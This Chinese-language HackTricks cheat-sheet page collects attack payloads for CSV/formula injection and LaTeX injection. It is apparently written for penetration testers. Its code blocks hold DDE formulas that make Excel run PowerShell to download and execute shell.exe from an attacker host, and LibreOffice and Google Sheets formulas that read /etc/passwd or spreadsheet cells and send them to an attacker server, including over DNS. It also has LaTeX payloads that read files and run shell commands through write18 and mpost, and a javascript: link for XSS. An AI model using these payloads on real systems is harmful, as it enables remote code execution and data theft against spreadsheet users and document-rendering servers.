> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md).

# Formula/CSV/Doc/LaTeX/GhostScript Injection

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

**Try Hard Security Group**

<figure><img src="/files/Kw46fTSYxPIOMyKySfL5" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

***

## 公式注入

### 信息

如果您的**输入**被**反射**到**CSV文件**（或任何其他可能会被**Excel**打开的文件）中，您可能可以放置Excel**公式**，当用户**打开文件**或用户在Excel表格中**点击某个链接**时，这些公式将被**执行**。

{% hint style="danger" %}
现在**Excel会警告**（多次）用户，当从Excel外部加载内容时，以防止用户进行恶意操作。因此，必须对最终有效载荷应用特别的社会工程技巧。
{% endhint %}

### [字典](https://github.com/payloadbox/csv-injection-payloads)

```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```

### 超链接

**以下示例非常有用，可用于从最终的Excel表中窃取内容并向任意位置发出请求。但需要用户点击链接（并接受警告提示）。**

以下示例摘自<https://payatu.com/csv-injection-basic-to-exploit>

想象一下，通过CSV注入攻击利用了学生记录管理系统中的安全漏洞。攻击者的主要目的是破坏教师用于管理学生详细信息的系统。该方法涉及攻击者将恶意有效载荷注入应用程序中，具体方法是在用于学生详细信息的字段中输入有害公式。攻击过程如下：

1. **注入恶意有效载荷:**

* 攻击者提交学生详细信息表单，但包含一种在电子表格中常用的公式（例如，`=HYPERLINK("<malicious_link>","Click here")`）。
* 此公式旨在创建一个超链接，但指向攻击者控制的恶意服务器。

2. **导出受损数据:**

* 教师们不知情地使用应用程序的功能将数据导出到CSV文件中。
* 当打开CSV文件时，仍然包含恶意有效载荷。此有效载荷在电子表格中显示为可点击的超链接。

3. **触发攻击:**

* 教师点击超链接，认为它是学生详细信息的合法部分。
* 点击后，敏感数据（可能包括电子表格或教师计算机中的详细信息）被传输到攻击者的服务器。

4. **记录数据:**

* 攻击者的服务器接收并记录从教师计算机发送的敏感数据。
* 攻击者随后可以利用这些数据进行各种恶意用途，进一步危及学生和机构的隐私和安全。

### RCE

**查看** [**原始帖子**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **以获取更多详细信息。**

在特定配置或较旧版本的Excel中，可以利用称为动态数据交换（DDE）的功能来执行任意命令。要利用此功能，必须启用以下设置：

* 转到“文件”→“选项”→“信任中心”→“信任中心设置”→“外部内容”，并启用**动态数据交换服务器启动**。

当打开包含恶意有效载荷的电子表格（如果用户接受警告）时，将执行有效载荷。例如，要启动计算器应用程序，有效载荷将是：

```markdown
`=cmd|' /C calc'!xxx`
```

附加命令也可以被执行，比如使用 PowerShell 下载并执行文件：

```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```

### LibreOffice Calc中的本地文件包含（LFI）

LibreOffice Calc可用于读取本地文件并窃取数据。以下是一些方法：

* 从本地 `/etc/passwd` 文件中读取第一行：`='file:///etc/passwd'#$passwd.A1`
* 将读取的数据窃取到攻击者控制的服务器：`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* 多行数据窃取：`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS数据窃取（将读取的数据作为DNS查询发送到攻击者控制的DNS服务器）：`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`

### 用于带外（OOB）数据窃取的Google Sheets

Google Sheets提供可用于带外数据窃取的函数：

* **CONCATENATE**：将字符串连接在一起 - `=CONCATENATE(A2:E2)`
* **IMPORTXML**：从结构化数据类型导入数据 - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**：导入RSS或ATOM源 - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**：从HTML表格或列表导入数据 - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**：从另一个电子表格中导入一系列单元格 - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**：将图像插入单元格 - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`

## LaTeX注入

通常在互联网上找到的**将LaTeX代码转换为PDF**的服务器使用\*\*`pdflatex`\*\*。

该程序使用3个主要属性来（禁止）允许命令执行：

* **`--no-shell-escape`**：**禁用** `\write18{command}` 结构，即使在texmf.cnf文件中启用也是如此。
* **`--shell-restricted`**：与 `--shell-escape` 相同，但仅限于一组“安全”的**预定义**\*\*命令（\*\*在Ubuntu 16.04中，列表位于 `/usr/share/texmf/web2c/texmf.cnf`）。
* **`--shell-escape`**：**启用** `\write18{command}` 结构。该命令可以是任何shell命令。出于安全原因，通常禁止使用此结构。

然而，还有其他执行命令的方法，因此为了避免远程代码执行（RCE），非常重要使用 `--shell-restricted`。

### 读取文件 <a href="#read-file" id="read-file"></a>

您可能需要使用包装器进行调整，如\[或$。

```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```

#### 读取单行文件

```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```

#### 读取多行文件

```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```

### 写入文件 <a href="#write-file" id="write-file"></a>

```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```

### 命令执行 <a href="#command-execution" id="command-execution"></a>

命令的输入将被重定向到 stdin，使用临时文件来获取它。

```bash
\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```

如果遇到任何LaTex错误，请考虑使用base64来获取结果，以避免出现不良字符。

```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```

```bash
\input|ls|base4
\input{|"/bin/hostname"}
```

### 跨站脚本攻击 <a href="#cross-site-scripting" id="cross-site-scripting"></a>

来自[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)

```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```

## Ghostscript注入

**检查** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)

## 参考资料

* <https://notsosecure.com/data-exfiltration-formula-injection-part1>
* <https://0day.work/hacking-with-latex/>
* <https://salmonsec.com/cheatsheet/latex_injection>
* <https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/>

**Try Hard Security Group**

<figure><img src="/files/Kw46fTSYxPIOMyKySfL5" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
